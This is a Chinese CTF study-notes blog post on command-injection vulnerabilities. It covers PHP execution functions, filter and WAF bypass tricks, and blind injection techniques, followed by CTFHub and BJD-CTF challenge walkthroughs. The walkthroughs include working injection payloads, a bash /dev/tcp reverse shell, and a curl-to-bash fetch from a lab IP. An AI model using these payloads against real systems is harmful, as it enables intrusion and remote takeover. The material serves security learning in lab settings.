命令执行漏洞总结(updating)

命令执行漏洞总结(updating)

Scroll Down

命令执行

目前了解的知识还有限,先简单总结一些有遇到过的
以后遇到新题目会补充

PHP命令执行

相关常见函数:
${php代码}
assert()
普通调用

<?php assert($_POST['a']);?>

动态调用

<?php
    $a = 'assert';
    $a($_POST['a']);
?>

注:php7.0.29后有改动

<?php
    $a = 'assert';
    $a(phpinfo());
?>

system()

system("ls -a");

shell_exec()

echo shell_exec("ls -a");

exec()

echo exec("ls -a");

eval(): 将字符串按照php代码来执行
shell_exec():执行shell命令并返回输出的字符串

eval("echo phpinfo();")

passthru 执行给定的命令,但是不返回任何输出结果,直接输出到显示设备上

void passthru (string command [, int return_var])

绕过disable_functions的思路

利用黑名单之外的函数:

dl()
mail()

利用PHP原生函数

https://blog.csdn.net/AidanDai/article/details/50127865
scandir() 列出指定路径中的文件和目录

含有该漏洞的一些框架

较低版本的Struts2、ThinkPHP

常用绕过手段

分隔符

linux: %0a %0d ; & | && ||
windows: %0a & | %la
; ->从左到右连续执行命令
& ->简单拼接
&& -> "逻辑与",前面执行成功后面才会执行
| ->
|| ->"逻辑或" 前面失败,后面执行

绕过空格

$、$$9|、$IFS$9、%0a、<>

绕过敏感字符

拼接绕过

a=l;b=s;$a$b

trick:有时可以调整顺序绕过正则

base64编码绕过

[root@ ~]# echo 'cat' | base64
Y2F0Cg==
[root@ ~]# echo 'hello' > test.txt
[root@ ~]# cat test.txt 
hello
[root@ ~]# `echo 'Y2F0Cg=='| base64 -d` test.txt
hello

绕过长度限制

length<8
例如要读取flag.php

>"hp\\"
>".p\\"
>"ag\\"
>"fl\\"
>"t+\\"
>"ca\\"

ls -t>_
sh _
> 重定向符

新建一个 xx\ 文件
ls -t按时间顺序将输出到名字叫_的文件中
sh 执行文件内容

无回显命令注入

反弹shell

最基本的利用场景
(攻击机)vps上监听2333端口

nc -lvvp 2333

(靶机)kali上输入:

bash -i >& /dev/tcp/ip/port 0>&1

ip为vps的公网ip,port为开放的端口
攻击机getshell,获得靶机的控制权,靶机无法退出

dnslog注入

ceye平台
在profile页可以看到属于自己的域名

根据平台上提供的payload,做简单实验
ceye.png
curl发起http请求
whoami被执行
ceye2.png
DNS Query可以带着执行结果回显

命令盲注

主要是DASCTF五月赛web1感受到的考点,不通外网的无回显命令注入(一开始直接扫到flag真的震惊

一开始出现很多非预期,例如直接把flag重定向到某个文件中直接读

echo `cat /flag` > 1
cat 1

示例
bash1.png

预期解是命令盲注
(对Linux命令太陌生了,我晕)

grep -e "B" && sleep 5

布尔盲注

[root@ ~]# l$(whoami | cut -c 1 | tr a s)
-bash: lr: command not found
[root@ ~]# l$(whoami | cut -c 1 | tr r s)
命令成功执行

[root@ ~]# l$(whoami | cut -c 2 | tr r s)
-bash: lo: command not found
[root@ ~]# l$(whoami | cut -c 2 | tr o s)
命令成功执行

cut -c 1 提取结果的第一个字符

tr将a、r替换成s

时间盲注

sleep $(whoami | cut -c 1 | tr a 1)

sleep $(whoami | cut -c 1 | tr r 1)

和上面类似,若为r则延时1s

记一个不使用vps进行注入的博文(我也想做梦了)
https://www.cnblogs.com/blili/p/9045280.html

一些绕过WAF防火墙的tips

通配符绕过

/bin/ls

/???/?s

利用"空值"
在Linux的bash下有一些符号会被认为是空,可以用来绕过一些限制

\ 、 ''、$1~$n
l\s
l''s
l$1s

花括号扩展

[root@ ~]# echo a{b,c}
ab ac
[root@ ~]# {ls,./}
执行ls结果

CTF-Hub RCE

命令注入-无过滤

if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}
127.0.0.1|ls -a
Array
(
    [0] => .
    [1] => ..
    [2] => 581882612214.php
    [3] => index.php
)
127.0.0.1|cat 581882612214.php

F12就能看到

过滤cat


if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/cat/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}

127.0.0.1|ls
看到flagblabla.php

绕过cat的方法
单双引号+反斜杠

127.0.0.1|c'a't flag_314923142532007.php
127.0.0.1|c"a"t flag_314923142532007.php
127.0.0.1|c\a\t flag_314923142532007.php

过滤空格

<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}?>

payload:

127.0.0.1|ls
127.0.0.1|cat$IFS$9flag_252091676416142.php
or
127.0.0.1|cat${IFS}flag_252091676416142.php
or
127.0.0.1|cat${IFS}$9flag_252091676416142.php

过滤目录分隔符

题目:

这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗

<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}?>

payload

127.0.0.1|ls

这次flag是在一个目录之下

Array
(
    [0] => flag_is_here
    [1] => index.php
)
127.0.0.1|ls $IFS$9flag_is_here
or
127.0.0.1;cd flag_is_here;ls

127.0.0.1;cd flag_is_here;cat flag_15476372413684.php

过滤运算符

<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||\&)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}?>
127.0.0.1;ls
127.0.0.1;cat flag....php

。。。就这么过了?

综合过滤练习


<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}?>

哦豁
payload
注意:这里使用%0a分割的时候要在url里,否则会被再次编码

?ip=127.0.0.1%0als
?ip=127.0.0.1%0acd${IFS}$f***_is_here%0amore${IFS}$f***
or
?ip=127.0.0.1%0acd${IFS}$f***_is_here%0a'ca't${IFS}$fl'a'g

还有base64转编码的方式没使用,下次一定

GXY-CTF PingPingPing

BJD-CTF duangshell

url/.index.php.swp

<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
    die("where is P3rh4ps's girl friend ???");
} else {
    $girl = $_POST['girl_friend'];
    if (preg_match('/\>|\\\/', $girl)) {
        die('just girl');
    } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
        echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
    } else {
        //duangShell~~~~
        exec($girl);
    }
}

好像都被禁得差不多了。。
应该是反弹shell

一开始很费解为什么弹不出来,后来发现没注意靶机无法连接外网。。所以开个小号启动个内部靶机

ifconfig

看ip

在靶机中写一个shell.txt

注:这题是要写在/var/www/html中

bash -i >& /dev/tcp/ip/2333 0>&1

在vps上

nc -lvvp 2333

POST:

girl_friend=curl 174.1.12.79/shell.txt|bash

参考:
http://wp.blkstone.me/2018/06/abusing-arbitrary-file-read/

https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/

https://blog.zeddyu.info/2019/01/17/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/#%E9%BB%91%E5%90%8D%E5%8D%95%E7%BB%95%E8%BF%87

https://www.tr0y.wang/2019/05/13/OS%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97

http://www.secist.com/archives/3854.html